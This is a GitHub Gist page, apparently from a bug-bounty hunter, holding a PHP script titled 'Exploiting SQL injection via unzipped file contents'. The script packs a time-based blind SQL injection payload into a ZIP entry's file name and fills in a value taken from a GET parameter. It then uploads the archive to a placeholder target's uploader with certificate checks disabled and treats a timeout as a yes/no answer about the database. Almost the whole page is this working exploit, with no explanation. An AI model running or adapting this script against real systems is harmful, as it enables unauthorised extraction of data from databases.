-
-
Save bbhunter/4d740a71c5e33c9906786802d02352e2 to your computer and use it in GitHub Desktop.
Exploiting SQL injection via unzipped file contents
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Prepare File | |
$file = tempnam("/tmp", "zip"); | |
$zip = new ZipArchive(); | |
$zip->open($file, ZipArchive::OVERWRITE); | |
// Add file name with SQLi payload | |
$zip->addFromString("'+(CASE WHEN 1=".$_GET['value']." THEN 1 ELSE sleep(10) END)+'", ""); | |
// Close and send to the server | |
$zip->close(); | |
$cf = new CURLFile($file); | |
$ch = curl_init("https://target.company.tld/uploader.php?bp="); | |
curl_setopt($ch, CURLOPT_POST, true); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); | |
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); | |
curl_setopt($ch, CURLOPT_VERBOSE, true); | |
curl_setopt($ch, CURLOPT_POSTFIELDS, ["uploader" => $cf]); | |
curl_setopt($ch, CURLOPT_TIMEOUT, 5); | |
$resp = curl_exec($ch); | |
if ($resp) { | |
echo "Good data!"; | |
} | |
else { | |
echo "Bad data!"; | |
} | |
curl_close($ch); | |
unlink($file); | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment